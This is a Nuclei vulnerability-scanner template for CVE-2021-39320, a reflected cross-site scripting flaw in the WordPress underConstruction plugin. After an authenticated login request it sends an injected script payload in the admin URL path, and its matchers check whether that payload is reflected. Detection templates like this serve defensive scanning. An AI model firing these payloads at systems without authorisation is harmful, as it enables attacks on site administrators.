nuclei-templates/cves/2021/CVE-2021-39320.yaml

id: CVE-2021-39320

info:
  name: WordPress underConstruction Plugin < 1.19 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
  reference:
    - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39320
    cwe-id: CWE-79
  metadata:
    verified: true
  tags: cve,cve2021,wp-plugin,wpscan,wordpress,wp,xss,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
          - 'under-construction'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200